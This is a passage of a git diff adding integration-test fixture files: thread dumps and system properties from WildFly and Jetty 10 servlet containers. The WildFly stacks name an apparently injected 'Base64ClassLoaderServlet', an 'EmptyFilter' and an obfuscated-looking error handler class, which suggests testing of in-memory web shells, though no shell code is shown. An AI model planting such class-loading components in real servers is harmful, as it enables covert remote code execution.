io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:74) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:129) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:61) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:84) + at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62) + at io.undertow.servlet.handlers.ServletChain$1.handleRequest(ServletChain.java:68) + at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) + at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet.handlers.RedirectDirHandler.handleRequest(RedirectDirHandler.java:68) + at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:117) + at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46) + at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64) + at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60) + at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77) + at io.undertow.security.handlers.NotificationReceiverHandler.handleRequest(NotificationReceiverHandler.java:50) + at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler.handleRequest(JACCContextIdHandler.java:61) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler.handleRequest(GlobalRequestControllerHandler.java:68) + at io.undertow.servlet.handlers.SendErrorPageHandler.handleRequest(SendErrorPageHandler.java:52) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:269) + at io.undertow.servlet.handlers.ServletInitialHandler.access$100(ServletInitialHandler.java:78) + at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:133) + at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:130) + at io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48) + at io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43) + at org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction.lambda$create$0(SecurityContextThreadSetupAction.java:105) + at org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction$$Lambda$959/2084657541.call(Unknown Source) + at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1530) + at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$960/1625096936.call(Unknown Source) + at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1530) + at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$960/1625096936.call(Unknown Source) + at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1530) + at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$960/1625096936.call(Unknown Source) + at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1530) + at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$960/1625096936.call(Unknown Source) + at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:249) + at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:78) + at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:99) + at io.undertow.server.Connectors.executeRootHandler(Connectors.java:387) + at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:841) + at org.jboss.threads.ContextClassLoaderSavingRunnable.run(ContextClassLoaderSavingRunnable.java:35) + at org.jboss.threads.EnhancedQueueExecutor.safeRun(EnhancedQueueExecutor.java:1990) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.doRunTask(EnhancedQueueExecutor.java:1486) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1377) + at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1280) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 7" #30 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-13" #115 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:551) + +"ServerService Thread Pool -- 49" #74 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 17" #40 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 75" #144 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-10" #112 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:551) + +"ServerService Thread Pool -- 58" #86 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 74" #141 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 23" #46 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-9" #111 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"default I/O-5" #107 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"MSC service thread 1-3" #16 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@5ae1a6a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + +"default I/O-1" #103 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:551) + +"default I/O-14" #116 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"default I/O-8" #110 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 16" #39 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 5" #28 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-6" #108 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"default I/O-19" #121 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"expiration-thread--p5-t1" #139 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74e2c3a4 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.jboss.as.clustering.context.ContextReferenceExecutor.execute(ContextReferenceExecutor.java:49) + at org.jboss.as.clustering.context.ContextualExecutor$1.run(ContextualExecutor.java:70) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 26" #49 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-7" #20 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@5ae1a6a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + +"DestroyJavaVM" #23 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.arjuna.ats.arjuna.coordinator.TransactionReaper +com.arjuna.ats.internal.arjuna.coordinator.ReaperThread +com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread +com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor +com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery +com.google.gso.DdmrN.ErrorHandler +io.undertow.security.handlers.AbstractConfidentialityHandler +io.undertow.security.handlers.AbstractSecurityContextAssociationHandler +io.undertow.security.handlers.AuthenticationMechanismsHandler +io.undertow.security.handlers.NotificationReceiverHandler +io.undertow.server.Connectors +io.undertow.server.HttpServerExchange$1 +io.undertow.server.handlers.PredicateHandler +io.undertow.servlet.core.ContextClassLoaderSetupAction$1 +io.undertow.servlet.core.ManagedFilter +io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1 +io.undertow.servlet.handlers.FilterHandler +io.undertow.servlet.handlers.FilterHandler$FilterChainImpl +io.undertow.servlet.handlers.RedirectDirHandler +io.undertow.servlet.handlers.SendErrorPageHandler +io.undertow.servlet.handlers.ServletChain$1 +io.undertow.servlet.handlers.ServletDispatchingHandler +io.undertow.servlet.handlers.ServletHandler +io.undertow.servlet.handlers.ServletInitialHandler +io.undertow.servlet.handlers.ServletInitialHandler$1 +io.undertow.servlet.handlers.ServletInitialHandler$2 +io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler +io.undertow.servlet.handlers.security.SSLInformationAssociationHandler +io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler +io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler +io.undertow.servlet.handlers.security.ServletSecurityRoleHandler +io.undertow.servlet.spec.ServletPrintWriter +io.undertow.servlet.spec.ServletPrintWriterDelegate +org.jboss.as.clustering.context.ContextReferenceExecutor +org.jboss.as.clustering.context.ContextualExecutor$1 +org.jboss.jca.core.connectionmanager.pool.idle.IdleRemover$IdleRemoverRunner +org.jboss.jca.core.connectionmanager.pool.validator.ConnectionValidator$ConnectionValidatorRunner +org.jboss.modules.ref.References$ReaperThread +org.jboss.threads.ContextClassLoaderSavingRunnable +org.jboss.threads.EnhancedQueueExecutor +org.jboss.threads.EnhancedQueueExecutor$ThreadBody +org.jboss.threads.JBossThread +org.wildfly.common.ref.References$ReaperThread +org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler +org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction +org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$960/1625096936 +org.wildfly.extension.undertow.security.SecurityContextAssociationHandler +org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction +org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction$$Lambda$959/2084657541 +org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler +org.xnio.XnioWorker$WorkerThreadFactory$1$1 +org.xnio.nio.WorkerThread diff --git a/integration-test/src/test/resources/infos/Jetty10ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Jetty10ContainerTestBasicInfo.txt new file mode 100644 index 00000000..50402bb0 --- /dev/null +++ b/integration-test/src/test/resources/infos/Jetty10ContainerTestBasicInfo.txt @@ -0,0 +1,345 @@ +# Generated At 2025-08-10 14:58:09 +SystemProps: +awt.toolkit: sun.awt.X11.XToolkit +java.specification.version: 11 +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +java.class.path: /var/lib/jetty/resources:/usr/local/jetty/lib/logging/slf4j-api-2.0.13.jar:/usr/local/jetty/lib/logging/jetty-slf4j-impl-10.0.25.jar:/usr/local/jetty/lib/jetty-servlet-api-4.0.6.jar:/usr/local/jetty/lib/jetty-http-10.0.25.jar:/usr/local/jetty/lib/jetty-server-10.0.25.jar:/usr/local/jetty/lib/jetty-xml-10.0.25.jar:/usr/local/jetty/lib/jetty-util-10.0.25.jar:/usr/local/jetty/lib/jetty-io-10.0.25.jar:/usr/local/jetty/lib/jetty-jndi-10.0.25.jar:/usr/local/jetty/lib/jetty-security-10.0.25.jar:/usr/local/jetty/lib/jetty-servlet-10.0.25.jar:/usr/local/jetty/lib/jetty-webapp-10.0.25.jar:/usr/local/jetty/lib/jetty-plus-10.0.25.jar:/usr/local/jetty/lib/jakarta.transaction-api-1.3.3.jar:/usr/local/jetty/lib/jetty-annotations-10.0.25.jar:/usr/local/jetty/lib/annotations/asm-9.7.1.jar:/usr/local/jetty/lib/annotations/asm-analysis-9.7.1.jar:/usr/local/jetty/lib/annotations/asm-commons-9.7.1.jar:/usr/local/jetty/lib/annotations/asm-tree-9.7.1.jar:/usr/local/jetty/lib/annotations/jakarta.annotation-api-1.3.5.jar:/usr/local/jetty/lib/apache-jsp/org.eclipse.jdt.ecj-3.33.0.jar:/usr/local/jetty/lib/apache-jsp/org.eclipse.jetty.apache-jsp-10.0.25.jar:/usr/local/jetty/lib/apache-jsp/org.mortbay.jasper.apache-el-9.0.90.jar:/usr/local/jetty/lib/apache-jsp/org.mortbay.jasper.apache-jsp-9.0.90.jar:/usr/local/jetty/lib/apache-jstl/org.apache.taglibs.taglibs-standard-impl-1.2.5.jar:/usr/local/jetty/lib/apache-jstl/org.apache.taglibs.taglibs-standard-spec-1.2.5.jar:/usr/local/jetty/lib/jetty-client-10.0.25.jar:/usr/local/jetty/lib/jetty-alpn-client-10.0.25.jar:/usr/local/jetty/lib/jetty-deploy-10.0.25.jar:/usr/local/jetty/lib/websocket/websocket-core-common-10.0.25.jar:/usr/local/jetty/lib/websocket/websocket-core-client-10.0.25.jar:/usr/local/jetty/lib/websocket/websocket-core-server-10.0.25.jar:/usr/local/jetty/lib/websocket/websocket-servlet-10.0.25.jar:/usr/local/jetty/lib/websocket/jetty-javax-websocket-api-1.1.2.jar:/usr/local/jetty/lib/websocket/websocket-javax-client-10.0.25.jar:/usr/local/jetty/lib/websocket/websocket-javax-common-10.0.25.jar:/usr/local/jetty/lib/websocket/websocket-javax-server-10.0.25.jar:/usr/local/jetty/lib/websocket/websocket-jetty-api-10.0.25.jar:/usr/local/jetty/lib/websocket/websocket-jetty-common-10.0.25.jar:/usr/local/jetty/lib/websocket/websocket-jetty-server-10.0.25.jar +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +user.timezone: Etc/UTC +jetty.base: /var/lib/jetty +jetty.home: /usr/local/jetty +os.name: Linux +java.vm.specification.version: 11 +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: org.eclipse.jetty.xml.XmlConfiguration java.io.tmpdir=/tmp/jetty java.version=11.0.26 jetty.base=/var/lib/jetty jetty.base.uri=file:///var/lib/jetty jetty.home=/usr/local/jetty jetty.home.uri=file:///usr/local/jetty jetty.webapp.addServerClasses=org.eclipse.jetty.logging.,file:///usr/local/jetty/lib/logging/,org.slf4j. runtime.feature.alpn=true slf4j.version=2.0.13 /usr/local/jetty/etc/jetty-bytebufferpool.xml /usr/local/jetty/etc/jetty-threadpool.xml /usr/local/jetty/etc/jetty.xml /usr/local/jetty/etc/jetty-webapp.xml /usr/local/jetty/etc/jetty-deploy.xml /usr/local/jetty/etc/jetty-http.xml +jdk.debug: release +sun.cpu.endian: little +user.home: /var/lib/jetty +user.language: en +java.specification.vendor: Oracle Corporation +java.version.date: 2025-01-21 +java.home: /opt/java/openjdk +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +java.specification.name: Java Platform API Specification +java.vm.specification.vendor: Oracle Corporation +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 11.0.26+4 +user.name: jetty +path.separator: : +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-11.0.26+4 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +jetty.git.hash: 96cc25d2f26c3fb61444b801be87640e59cf380e +java.io.tmpdir: /tmp +java.version: 11.0.26 +user.dir: /var/lib/jetty +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +java.awt.printerjob: sun.print.PSPrinterJob +sun.os.patch.level: unknown +java.library.path: /usr/java/packages/lib:/lib:/usr/lib:/usr/lib64:/lib64 +java.vm.info: mixed mode, sharing +java.vendor: Eclipse Adoptium +java.vm.version: 11.0.26+4 +java.specification.maintenance.version: 3 +sun.io.unicode.encoding: UnicodeLittle +java.class.version: 55.0 + +=========================================== + +ThreadStacks: +"qtp1458849419-21" #21 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48e408f1 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.26/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.26/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@11.0.26/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at app//org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:219) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.idleJobPoll(QueuedThreadPool.java:1124) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1141) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"qtp1458849419-20" #20 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@18016271 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.26/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.26/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@11.0.26/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(Unknown Source) + at java.base@11.0.26/java.util.concurrent.SynchronousQueue$TransferStack.transfer(Unknown Source) + at java.base@11.0.26/java.util.concurrent.SynchronousQueue.poll(Unknown Source) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.reservedWait(ReservedThreadExecutor.java:325) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:401) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:969) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1194) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1149) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"qtp1458849419-15" #15 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.26/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.26/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@11.0.26/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@11.0.26/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:181) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:188) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:542) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:455) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:248) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:199) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:411) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:969) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1194) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1149) + at java.base@11.0.26/java.lang.Thread.run(Unknown Source) + +"Scanner-0-1" #24 daemon [TIMED_WAITING] on 